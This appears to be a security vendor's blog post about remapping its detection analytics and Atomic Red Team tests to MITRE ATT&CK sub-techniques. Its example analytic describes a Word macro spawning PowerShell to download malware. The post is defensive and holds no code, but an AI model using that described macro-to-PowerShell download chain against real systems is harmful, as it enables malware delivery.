To provide a bit of background, our MDR platform gathers telemetry from customer endpoints and parses it against a set of behavioral detection analytics. We have more than 1,000 of them that are currently active, and here’s a simplified example of what one of them might look like:
- A process that resembles
winword.exe spawning a process that resembles
powershell.exe and a command line that includes an external network connection
When a telemetry pattern matches a detection analytic, our product creates an event that is analyzed by our detection engineering team. The above analytic, for example, might trigger on a malicious macro in a Word document spawning PowerShell and downloading malware from the internet. If the detection engineering team determines that a given event is malicious, we inform our customers that we’ve found a confirmed threat on one or more of their endpoints.
Whenever possible, these confirmed threats are mapped to an ATT&CK technique. The above analytic would probably map to both PowerShell and Spearphishing Attachment. This is important to understand: our ATT&CK mapping happens at the analytic level. In other words, our detection engineering and intel teams make technique mapping decisions while they are developing an analytic. This saves tremendous amounts of time by preventing our detection engineers from having to select a technique every time they ship a confirmed threat to a customer.
Atomic Red Team tests are organized by ATT&CK techniques in the Atomics directory of the Atomic Red Team repository. Each technique has a folder that contains YAML and Markdown files with all of the tests for that technique. Organizing tests in this way promotes consistency and enables users to easily execute tests based on their respective technique. With the introduction of sub-techniques, we needed to come to an agreement about what would be the best way to organize a combination of sub-techniques and their overarching parent techniques, when applicable.
Ultimately, we decided that we would not treat sub-techniques any differently from parent techniques, organizing tests into parent or sub-technique folders as needed. The only meaningful difference between the two categories is that sub-techniques have a three-digit numeric suffix and a more tightly constrained scope. Thinking about it in this way led us to agree that it would be best to add sub-technique folders to the atomics root directory rather than creating sub-directories within the parent technique folders. This was an intuitive decision that ultimately didn’t create any additional complexity.
Divvying up the work
Once MITRE released sub-techniques, we knew that we’d have to re-examine all of our analytics and atomics and refactor them to account for this change.
We considered assigning the monumental task of re-mapping our library of more than 1,000 behavioral analytics and hundreds of atomics to just a few people. The benefit of limiting this work to a small group is that it could result in a higher level of consistency. However, since there were more than 1,000 detection rules and hundreds of tests to refactor, we decided to spread the work out across Red Canary’s entire detection engineering, intel, and research teams.
While this decision saved time, possibly at the expense of consistency, it also increased the team’s collective familiarity with common software engineering practices and, importantly, sub-techniques. That said, if you’re re-mapping analytics and you’ve got a more manageable number of them, it might be a good idea to assign that task to a single person.
Naturally, we wanted code to do most of the work for us. In order to get an initial sense of the work required to complete the transition, we used MITRE’s crosswalk JSON document and wrote a PowerShell script to report how many techniques were changing. We then built upon the script to automate updating existing techniques to reflect their new technique when one-to-one mapping existed. However, we quickly realized that transitioning to sub-techniques wasn’t going to be as easy as we naively had thought.
The two primary tasks that remained were the following:
- Techniques that mapped to a parent technique for which there were multiple sub-techniques defined needed to be manually reviewed and placed into the proper sub-technique, when applicable. For example, many Process Injection sub-techniques were added so every process injection-related test had to be reviewed to determine which specific injection technique was used and to move it into its appropriate sub-technique folder.
- There were often MITRE technique ID references throughout many Atomic tests and that did not lend themselves to a scripted transition. Ultimately, it was decided that a full, manual review of Atomic tests was necessary so we portioned out chunks of tests among the Atomic Red Team maintainers.
Interestingly, as was the case with remapping detection analytics, the manual review was actually a fantastic forcing function. It gave us the opportunity to improve test consistency, fix typos, identify and remove duplicate tests, and more. A little spring cleaning never hurts and the sub-technique transition offered the ideal opportunity to do some housekeeping and to refamiliarize ourselves with the extensive suite of tests.
In essence, we remapped everything we could automatically, and then we had our detection engineers, intel analysts, and researchers review everything. This manual review served two purposes:
- The obvious one: to make sure that all the scripts worked correctly
- The less obvious one: to reconsider how we’d mapped everything in the first place
The importance of step two here can’t be overstated. Sub-techniques offered us a great opportunity to examine our hypotheses about what each detection analytic would catch in the wild. It’s good and well to think that an analytic might alert on a certain type of behavior, but the only way to know for certain is to examine the things it actually caught in practice.
Threat Detection Report and other educational content
Now that we’ve fully updated our analytics and atomics, you should expect to see more of our educational and research content align with sub-techniques as well. Most notably the 2021 Threat Detection Report, which is due out sometime early next year, will likely list the prevalence of sub-techniques, but we may also examine the prevalence of parent techniques as well. If you have strong feelings one way or the other, we’d love to hear from you.
This might go without saying, but we don’t have any plans for retroactively transitioning content we’ve already produced so that it aligns with sub-techniques. As such, there may be some confusion in the coming weeks and months with some content making reference to the pre-sub-techniques ATT&CK matrix and other content referencing sub-techniques. Over time, you can expect to see more of the latter and less of the former.
What we learned: beyond the TL;DR
ATT&CK mapping is an art, not a science. People interpret techniques and how they should be mapped in different ways. Sometimes you design an analytic thinking it will catch one behavior but it ends up catching something completely different.
Our mapping was pretty good to begin with, but the refactor let us take a step back, reconsider earlier decisions, and get everyone on the same page. As a result, our behavioral analytics are much more consistently mapped than they were previously. One other realization that we’re still working on is that these mapping decisions should ideally be made after a threat is investigated and confirmed.
At present, we map our threats to ATT&CK on the analytic level. To reiterate, we make decisions about what behaviors a detection analytic will catch before they ever go into production. It works pretty well because, most of the time, we design analytics to catch a specific thing in theory and they catch that same specific thing in practice. However, a system of conditional mapping—one where you review more ambiguous detection analytics and require that a human review the mapping decisions AFTER the threat has been investigated and confirmed in its full context—could go a long way toward combating the inaccuracies that might emerge from mapping at the analytic level.
Less intuitively, the refactor also gave us an excellent opportunity to provide feedback to MITRE. We submitted a pair of new techniques to the framework, and we also shared some of what we learned in putting sub-techniques into practice. The MITRE ATT&CK team wants and needs feedback so they can keep improving the framework.
To that point, sub-techniques are a much needed improvement to ATT&CK that will allow us to more confidently assess detection coverage and describe threats. Huge thanks to MITRE for all the hard work they put into this!